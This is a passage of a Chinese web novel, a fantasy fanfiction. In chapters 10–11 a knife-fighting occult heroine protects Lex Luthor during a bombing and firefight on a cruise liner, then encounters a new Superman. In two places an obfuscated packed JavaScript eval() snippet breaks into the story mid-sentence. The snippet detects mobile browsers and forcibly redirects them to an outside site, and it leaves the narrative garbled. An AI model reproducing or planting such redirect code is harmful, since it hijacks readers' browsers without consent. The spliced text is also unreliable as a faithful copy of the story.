“太可惜了,卢瑟先生,你来晚一步,我还是觉得,他更好些。” 卢瑟陷入了一阵罕见的,几乎让他失语的凝滞。 他给出了足够让任何强者心跳加速的诱饵,却只得到了“来晚一步”的反馈,这说明什么? 说明他的切入点是对的,说服方向也是对的,甚至给出的诱惑也是对的,但该死的就是晚了一步,竟至全盘皆输,溃不成军。 对一个字面意义上的和实际意义上的、聪明绝顶的天才来说,“运气不好”,比单纯的“失败”更让人糟心! 卢瑟的内心陡然涌出一股狂暴的、怨毒的怒意。他死死盯着阿娅的面容,就好像能从这张突然有了活人味儿的脸上,看出答案来似的: “……是啊,太不巧了。” “那么,我有这个荣幸,知道我是输在谁的手里么?” 然而在阿娅做出答复之前,一道震耳欲聋、响彻天地的爆炸声,如山崩般,从游轮的底部传来: “轰!!!” 10. Chapter 10 灯光熄灭了,赌局停止了。音乐、舞蹈、谈话和酒会,宛如被一只无形的手骤然掐断。 所有的浮华喧嚣,在第一波爆炸传来时,便戛然而止,海洋绿洲号一瞬间从纸醉金迷的天堂碎裂回人间。 金属扭曲的吱嘎声,玻璃炸碎的爆裂声,和承重结构发出的痛苦呻/吟混合在一起,这象征着不祥的巨响震耳欲聋。 刺耳的警报撕裂空气,猩红色应急灯疯狂旋转,将一张张惊恐茫然的脸映照得如同鬼魅。 而来自外界的纷乱脚步声、此起彼伏的惊恐尖叫,自然而然也同步传到了这间会议室里。 毕竟会议室的密闭性再怎么良好,当初建造的时候,也只是冲着“信息保密”去的,而不是“临时避难点”。 几乎在这些纷乱声音传来的同一秒,阿娅的眼神就变了。 她飞快起身,甩掉高跟鞋,扑向门口,动作敏捷得让旁观的卢瑟甚至只能看得见残影,一丝一毫的卡顿都不曾有。 与此同时,两把雪亮的匕首如流水般,温顺而飞速地挣脱了裙摆的掩盖,滑到了她手上。 谈判,或者说卢瑟单方面认为的谈判,在这一刻戛然而止。 他死死盯着持刀迎火而立的阿娅,一时间连思考“到底是谁炸的游轮”这个问题的余裕都没有了,因为他的全副心神,已然被面前的女子占据。 什么能凌驾在金钱与权力之上?什么能够让操控世界经济命脉,如吃饭喝水般寻常的商业巨鳄,都情不自禁低下他那高贵的、聪明的、傲慢的、价值千金的头颅? 只有暴/力。最极致的暴/力。 蓬勃的火光从阿娅的眼角溢出。原来她眼角的纹路并非纹身,而是被无形之术引发的火焰留下的灼痕。 这一抹灿金深铭入骨,于是,每当她的战意与力量如烈火般爆燃之时,她的眉眼也一并灼灼,耀眼得令人不敢直视。 就在这火光蓬勃而起的那一刻,之前那个明艳秾丽,却又安静得近乎死板,跟个没有灵魂的泥胎木偶似的年轻女子的形容,就像一张轻飘飘的画皮似的,被撕下来了。 取而代之的,是一头斑斓猛虎,在火光和硝烟中,睁开了她狂喜的、锐利的、同样傲慢的眼。 ——这才是真正的天之骄子,亿万里挑一的幸运儿。 大门被粗暴地炸开,在迎面扑来的热浪里,三名身着黑色作战服、头戴全覆盖战术头盔的身影闯入,二话不说就抬着重机枪,对阿娅来了一番扫射,冰冷的电子合成音从头盔下传出: “已确认目标所在,请求最高程度火力支援!” 火舌喷吐,弹壳如落雨般倾泻在地面。子弹铺天盖地向阿娅袭来。 与此同时,之前被卢瑟支开的小头目折返回来,拉着他往柜台后面躲,同时挥舞着阿格劳福提斯花的蜡烛,撑开一道弥漫着蔷薇香气的屏障。① 不得不说,这根蜡烛真的泛用性太强了。只要点燃并挥舞,就能散发出可以扭曲认知、甚至短暂阻挡有形之物的屏障。 这玩意儿放在受杜弗尔禁令限制,因此不得进入漫宿的清算人小头目手里,那叫一个如鱼得水,这才使得他能和卢瑟一起躲在角落里,险之又险避开了第一波火力压制。 但他们能躲,阿娅却不能。 或者说,在听到自己被列为“目标”,而且这个目标需要动用最高程度的火力支援的时候,她的战意便已然沸腾。 ——不是“不能躲”,是不想躲、不屑于躲! 这三个雅典人的站位太刁钻了。暴雨般倾泻而下的子弹形成了交叉火力网,精准地笼罩了阿娅的周身要害,并封死了她可能逃往的各个方位。 可问题是,阿娅自始至终,都没想过要逃。 于是,几乎在枪声爆响的同一秒,阿娅不仅没有退让,反而欺身迎上! 她的身体以一种近乎无视惯性定律的方式,向前方滑出,轻盈如魅影,飘荡如鬼魂。明明面对的,是钢铁和火焰交织而成的洪流,她却如行走在雨中一般自如,甚至滴水不沾。 子弹擦着她的肩颈、腰侧掠过,打在背后的酒柜和壁画上,酒液、木框和玻璃爆裂开来,四下飞溅。 然而,不管是子弹还是四处乱飞的杂物,在即将撞上她的那一刻,竟陡然失却了所有的力气,就这样直愣愣地栽入地面。 只一眨眼,这轻灵得让人心生恐惧的黑影,便已欺至三人面前。 这三位雅典人在闭上眼睛前,只来得及看见最后一样东西,同时映在他们眼底: 一把光洁的匕首,刀身雪亮如镜,倒映着一双冷淡的、厌倦的、嘲讽的眼。 与这冰雪般的一瞥同时传来的,还有一声嘲讽: “不过如此。” “砰砰砰”三道沉闷的响声传来,三位雅典人的小卒已陈尸在地。他们的喉管被切开,鲜血汩汩流淌,没过阿娅赤裸的脚趾,温暖地、黏腻地、缠绵地无声宣告她的胜利。 整个过程不到五秒。 五秒钟,清算人小头目手中的阿格劳福提斯花的蜡烛,只燃烧了不过几毫米;三位雅典人的先锋打出去的子弹,有将近五千枚;然而想要终结这一切乱象,只要一人足矣。 阿娅赤足踏过三具尸体。她的呼吸甚至都没有因为这短暂的交锋,而变快分毫,因为这点小冲突甚至不够她热身。 直到此时,被她的利刃一并切开的数颗子弹,才叮叮当当地落到地面。 她都兴冲冲地走到门口了——别问卢瑟是怎么从那张面无表情的脸上看出这种情绪来的,反正他就是能看出来——又突然想起,身后的角落里还躲着两个人,其中有一个还是自己需要保护的任务目标,不由得发出一声烦躁的感叹: “啧。” 但这一次,小头目可算是能理直气壮地辩驳了!真是风水轮流转,可喜可贺,可喜可贺: “您又在不耐烦个什么劲儿啊!阿娅小姐,恕我直言,雅典人这次果然就是冲着你来的!” “我和卢瑟先生受你牵连,遭了这无妄之灾,我俩才是最该抱怨的那个!你刚刚在交易时突然陷入沉默,是察觉到有人潜入了吗?那你为什么不说?” 阿娅歪了歪头,耐心地听完这一串崩溃后,给出了一个百分百答非所问的回答:< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17016354|194196||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“要么跟我走,要么留下等死。” 小头目愤怒大叫:“转人工!!!” 阿娅话音未落,第二波爆炸声从游轮底部传来。 这次的爆炸声势更加浩大,哪怕他们身在高层,也能依稀听到海水汹涌倒灌进来的声音。 船身开始左右摇晃,没被之前的枪林弹雨打碎的美酒,开始咕噜咕噜地从架子上滚下,摔在地上跌得粉碎。 阿娅只侧耳聆听了不到一秒,就隔着无数层钢铁和二十层楼的高度,精准地判断出了这是什么级别的火力: “噪音太大了。是俄产的VA-111‘暴风’超空泡鱼雷,还一口气打了八枚,真是下血本啊。” 小头目露出了比格怀疑脸的表情包:“是我听错了吗,你听起来好像很骄傲的样子。” 阿娅冷静颔首:“输给我你无需自卑。” 小头目持续愤怒大叫,假以时日,这份愤怒没准真能把他从一个大活人变成比格犬:“没人跟你讨论这个!!!” 船身左右晃动的幅度更大了。窗外依稀能听见直升飞机的旋翼叶片飞速拨动声,雪亮的探照灯随之打下,新一轮扫射声由远及近逼来。 而且这一次,连没有经受过相应训练的普通人卢瑟,都能听得见雅典人们在喊什么: “无关人员闪开,我们只杀一个人!” 卢瑟的脸色有些发白,不知道是惊吓所致,还是游轮的摇晃幅度太大了,把他晃得有些晕船。总之,和他苍白的面色形成鲜明对比的,是他锐利如常的眼神,甚至带着一丝被这场面激发出的、扭曲的兴奋: “看来你引来了不受欢迎的客人——” 只可惜卢瑟的这番话没能说完,连带着下面本来应该跟上的,类似于“你如果在我麾下做事,我绝对不会让你受到这种待遇”,和“开个价,然后自觉一点出去吸引火力”的话,也全都被堵回了肚子里。 因为下一秒,阿娅突然伸手,勒住了卢瑟的脖子,像拖拽空麻袋一样,轻轻松松拖到了自己面前。 她甚至还贴心地给卢瑟摆了个方便走路的姿势,随后,才用那两把银光闪烁的刀,抵上了他的喉咙,礼貌道: “尊老爱幼,绅士先行。” ——没有一丝犹豫,稳稳把资本家护至身前! 卢瑟:“……你在拿我挡枪,是吧?” 阿娅:“啧。” 卢瑟终于体会到了小头目的崩溃从何而来:不是,被你拿来挡枪的是我,你在那里遗憾个屁啊?! 再说一遍,莱克斯·卢瑟,亿万富翁、商业大亨、慈善家、科学家、发明家,本次美国总统大选的竞选人之一,坚持人类至上主义。 他把一切人类范畴之外的存在,都当成潜在的敌人;然而真把普通的人类放在他面前,卢瑟又会觉得对方太弱了,不愿纡尊降贵和普通人交谈。 十分傲慢,但没法批评;不算违法,但相当缺德。 直到今天,他遇到了更缺德的狂暴大猩猩。 而人类很明显是无法战胜大猩猩的,哪怕是已经“聪明绝顶”了的莱克斯·卢瑟,也不行。 11. Chapter 11 莱克斯·卢瑟的一生,从未有过如此真诚的时节。 他看着对面黑压压的、数以百计、全副武装的士兵,发自内心地感叹了一句脏话: “Fuck。” “脑子不好的人,有一个清算人的阿娅就够了,你们雅典人又来掺和什么,苏斯金先生?” 为首的士兵掀起防护镜,果然是之前和卢瑟商讨生意未果的苏斯金。 他状似惭愧地对卢瑟点点头,事实上嘴里说的话倒半点不客气: “哎,真是太抱歉了,卢瑟先生。按理来说,咱们马上就要做成这笔交易了,还在其他领域多有往来,于情于理,都不该把您卷进这件事里的。” 在苏斯金的话语声中,数百人齐齐拉动枪栓。步枪、霰/弹/枪、冲锋枪、机枪、手枪,数也数不清的黑压压枪口对准三人,蓄势待发: “但我们的首领认为,如果能在这里杀死杜弗尔的继承人,不管付出什么代价都值得!” 如果说之前那三位雅典人倾泻下的五千枚子弹,只能算得上小试牛刀,那么这一次,便是真正的火力全开。 无数火舌从阴影处喷吐而出,一秒钟便能打出数万颗子弹,弹壳坠地的声音如雨点般密集。 密密麻麻的蜂窝状碎裂点上一秒刚出现在墙壁上,下一刻便连同整条走廊,都尽数被化作碎石和粉尘,只有数面坚强的承重墙和水泥柱撑着,才让整座建筑物不至于坍塌下来,砸死所有人。 与此同时,数十道刺眼的白光炸开。 在600万坎德拉强度的闪光弹刺激下,只要是肉/体凡胎的人类,就不可能睁得开眼。而某些更高强度的武器,也正好在此时加入战场,破片手榴弹,手持火箭炮,轻量迫击炮,简直跟不要钱一样疯狂砸下! 整个空间被交织的强火力笼罩,巨大的火球以阿娅三人为中心爆裂开来。 海洋绿洲号这一层的近百面窗户,在这一刻齐齐冲出一道尾焰,仅仅是爆炸余韵的冲击波,就能击碎防弹玻璃,甚至把整个船舱都炸得往下塌了五厘米。 这还没完。 枪声此起彼伏,弹片和碎屑四下喷溅,爆炸声震耳欲聋。 火焰混合着黑烟冲天而起,强光时不时撕裂烟雾,在不知何时投掷来的催/泪/弹引发的刺鼻气味中,巨大的十八层船舱,正以缓慢而无可阻挡的态势,缓缓倾斜倒下—— 钢筋熔断,承重墙碎裂,结构失稳,二次塌陷! 然而也正是在这一刻,所有的子弹、所有的爆炸、所有的混乱,都奇异地终止了。 小头目本来都以为自己要被日的一声打成糊糊了,就算不会变成糊糊,在这种程度的火力压制下,也至少得变成筛子和肉饼。 然而他不仅没有死,甚至毫发无伤,连头发都没掉一根。 他颤颤巍巍地抱着头蹲在地上,难以置信地睁开眼,随即看到了他毕生难忘的景象。 阿娅逆光站在他和卢瑟身前,只抬起一只手,便止住了此处所有的动作、所有的变化、所有的生机。 她的头发已经完全散开了,散乱如美杜莎的蛇发,凝固在空中。 空气开始发出不堪重负的呻/吟。一道无形的波纹从她的指间扩散开来,所过之处,仿佛被注入万吨重铅,就这样诡异地凝滞住了,甚至连正在倒塌的高楼和沉没的巨轮,都被强行停了下来。 原本站在最前方,试图等火力一平息,就冲上去和阿娅短兵相接的数位雅典人,凭着多年来在火与血里打滚磨炼出的战斗本能,感受到了某种令人肝胆俱裂的杀意: 在生死面前,什么权力什么地位什么报酬,都是狗屁! 于是,不管苏斯金再怎么厉声喝止,最前方的数十人竟充耳不闻,纷纷拔腿便跑—— 只可惜迟了。 无形的波纹所过之处,他们甚至没来得及惨叫出声,便化作齑粉。血液被蒸干,骨肉被磨碎,在这股更强大、更残忍、更玄之又玄妙不可言的力量面前,区区人类武器带来的火力,完全不值一提。 扬起的烟尘不再飘荡,飞溅的火光一并定格。刚刚脱膛而出的枪弹,就这样一寸、一寸被逼得原路倒退,连带着所有的枪声、爆炸、呐喊、哀嚎,也一并被这绝对的力量强行抹去了。 以阿娅为分界线,整个船舱里的画面,竟诡异地分成两半: 在她身后,是瞠目结舌、满头冷汗的同伴;在她身前,是正在被扩散开来的无形的波纹,硬生生挤压扯碎逼退的敌人。且这一范围还在不断扩大,一呼一吸间,方才还火光遍地的船舱,便逐渐安静下来,静得如被白雪覆盖的、死寂的荒野。 ——无形之术的修习者,能够将自身追奉的密传,以某种方式表露出来,这便是“影响”。 说得再明白一些,就是你信仰什么,就能营造出相应的氛围。 假使你追奉的,是以辉光著称的“灯”,那么你获得的影响,便能够明亮得让所有颜色都褪至纯白。① 假使你追奉的,是以混沌著称的“蛾”,那么你获得的影响,便能扭曲思想、扭曲感情、产生幻觉。② 谁也不知道阿娅甘冒首领的禁令,偷偷修习无形之术,已经把她追奉的象征蛮力和斗争的“刃”,修习到了哪一级。 总之今日,在两个组织火力相接、以命相搏的这一刻,最高阶十五阶“刃”的影响,就这么从她手中漫不经心挥洒下来。 比生命更珍贵,比暴/力更可怖,比死亡更尖锐,却被她运用得如臂指使、得心应手,傲慢、冰冷而不容违逆地,碾压过一切胆敢在她面前存在的敌人。 谁人能得到司辰的注视?谁人能将战局扭转?③ ——唯她而已。 苏斯金瞳孔剧震之下,也来不及顾及自家首领的命令了,只想着能逃出去再说。 他二话不说,从破裂的舷窗一跃而出,甚至都无暇顾及身边的雅典人同僚,什么战友情义同事情谊,在这一刻被他尽数甩在了脑后,因为他的大脑里,现在只剩下一个念头: 逃!!!逃得越远越好!!! 一艘漆黑的潜艇从水面下缓缓浮出,将海面上倒映着的火焰光影分开如碎金。 在此之前,这是雅典人用来运输士兵的工具;然而此刻,它却只能用来逃亡。 接应人员刚和苏斯金汇合,便开足马力撤离现场。苏斯金甚至还能听见有好几人崩溃的声音从潜艇里传来: “……清算人到底在船舱里放了什么啊!” “从这里进去的人,全都一秒失联,讯息全无,连鱼雷都硬生生失踪了十发,把压箱底的陈年老货全都算上了,才炸沉这艘船!” “苏斯金?苏斯金,你听得见我们说话吗?” 苏斯金当然听得见。 只不过他无暇作答。 因为他刚刚回头看了一眼,只一眼,便叫苏斯金肝胆欲裂、魂飞魄散,并十分确信自己逃跑的行为是正确的: 那一整层楼都被炸空了。 以他们之前所在的那一层为分界线,剩下的十七层就这样诡异地悬空浮在那里,被十五阶“刃”的影响硬生生串了起来,像是被随手插在架子上的土豆片烤串一样,滑稽程度与恐怖程度成正比。 最恐怖的还不在这里。 一道耳熟得让人咬牙切齿的声音,突然就横空插入了雅典人的内部通讯,对苏斯金认真道: “我会把你的同僚所剩无几的尸体,全都留在原地。” “不想被前来善后的各国海警,认出你们的身份,进而对雅典人开启剿灭活动的话,就把你今天交换到的寿命,全都赔给我。” “赔你妈!”苏斯金百忙之中抽空怒骂道,“你到底在船底放了什么……OKOK,我看见了……你疯子吧,敢造这么大型号的幼妹,也不怕它吃了你?” “而且你的幼妹生吞了我们十颗鱼雷,我还没跟你要这个钱呢!” “真不巧,我没有母亲。”阿娅正色道,“如果你认为,我今天的行动给你的预算造成了负担,你也可以人身攻击我最尊敬的父亲。” 苏斯金只是想了一下阿娅名义上的“父亲”是谁,就觉得心跳骤停,呼吸不能: 住口吧小混蛋,谁敢啊!之前怎么没发现你这么伶牙俐齿! 颤巍巍从地上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17016355|194196||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 爬起来的小头目,被阿娅的话语震得脑海一片空白,一时间都不知道从哪里吐槽,是先谴责往日里对首领再恭敬忠心不过的阿娅,眼下竟然有如此大不敬的言论,还是先质问,她为什么和敌对阵营的苏斯金能混得这么熟。 然而到最后,小头目也没说什么。 因为一个能弹指间就摧毁数百平方米内的有形之物的家伙,想要转过来,把他像抹除一块灰尘一样消灭掉,实在再容易不过了。 于是到头来,他也只有气无力地表扬了阿娅一句: “……谢谢你啊,阿娅小姐,谢天谢地你还记得我们今天是来抢雅典人的生意的。” 阿娅理直气壮:“你别管过程,只看结果,我们成功了没有吧。” 小头目干笑了两声:“哈哈,那简直成功得不能再成功了——什么人?!” 不知何时,原本被十五阶刃之影响震晕过去的卢瑟,已经被悄无声息出现在这里的年轻人背了起来。 这位年轻的不速之客,在发现阿娅等人察觉到了自己的存在后,也不曾躲避,甚至大大方方打了个招呼,声音里带着一种生机勃勃的朝气和笑意: “你好,美丽的女士。很抱歉不得不打断你们的交谈,但卢瑟先生之前交代过我,说一旦听到这边有什么异常声音,就得来把他带走。” 他套着一件黑色皮衣,深色战服勾勒出他年轻的躯体和漂亮的肌肉线条,头发被海风吹得凌乱,却又乱得相当潇洒有型,活像拿发胶定型过一样。 ——问题是,这副装扮可以出现在开着摩托艇兜风的帅哥身上,也可以出现在骑机车上学放学的男大学生身上,但万万不能出现在,还残存着“刃”之影响的战场里。 哪怕最高阶的十五阶刃之影响“破局之力”,正在缓缓退化成次一级的十阶刃之影响“狂怒的气氛”,此地也不是普通人能够轻易涉足的。 因为一旦贸然横插进来,下场只会像之前被碾做粉末的雅典人一样,尸骨无存。 阿娅凝视着来者的头发很久,久到他都有些脸红了,才突然开口,问了个看似风马牛不相及的问题: “你是来之前特意抓了一下发型吗?” 在她一瞬不瞬的注视下,黑发的年轻人连说话,都情不自禁结巴了起来: “啊……嗯……可以这么说吧,是的。” 阿娅闻言,立刻收回目光,垂下眼睛以示友好,顺便将两把差点就蠢蠢欲动捅出去了的匕首收回身后,干脆利落道: “请便。” 来者明显梗了一下,似乎没想到刚刚还专注地望着他的阿娅,竟然变卦变得这么快。 但他毕竟和卢瑟是一方的,再怎么不舍,也只能又委屈又迷茫地看了阿娅最后一眼,随即缓缓升入高空,眨眼间便消失不见,动作快得在空中拖曳出一连串震耳欲聋的音爆。 此时,被这个突发状况震得言语不能的小头目,才反应过来,阿娅那个看似莫名其妙的问题意欲何为: “能够在高阶的‘刃’之影响下毫发无伤,甚至能让接触到的人的状态和他本人一样平稳……不会错,这就是‘生物力场’,这家伙是超人。” 海风呼啸着从身边掠过,残骸燃烧的噼啪声不绝于耳。 无数惨叫和呻吟从废墟里传来,清算人的善后队伍姗姗来迟——是的没错,这支队伍不仅负责封口和消除记忆,甚至还会给有价值的人疗伤——警笛声此起彼伏,雪亮的探照灯直直打在甲板上,却不敢往阿娅身上多照一分。 然而阿娅却仿佛对这些外界纷扰都失却了感知,只蹙眉望向那个身影消失的方向,疑惑道: “……奇怪。我怎么记得,之前的‘超人’不是这个样子的?” “那个举世闻名的老好人,难道不应该在暴动发生的第一时间,就跨洋飞过来,把游轮扛回港口,将所有的争端都扼杀在摇篮里吗?” 小头目耸了耸肩:“谁知道呢?反正这个代号的拥有者,不久前换人了,不管我们怎么打听,也无法知晓内情,正义联盟的保密工作做得可真好。” “走吧,阿娅小姐,我们回去向首领复命。”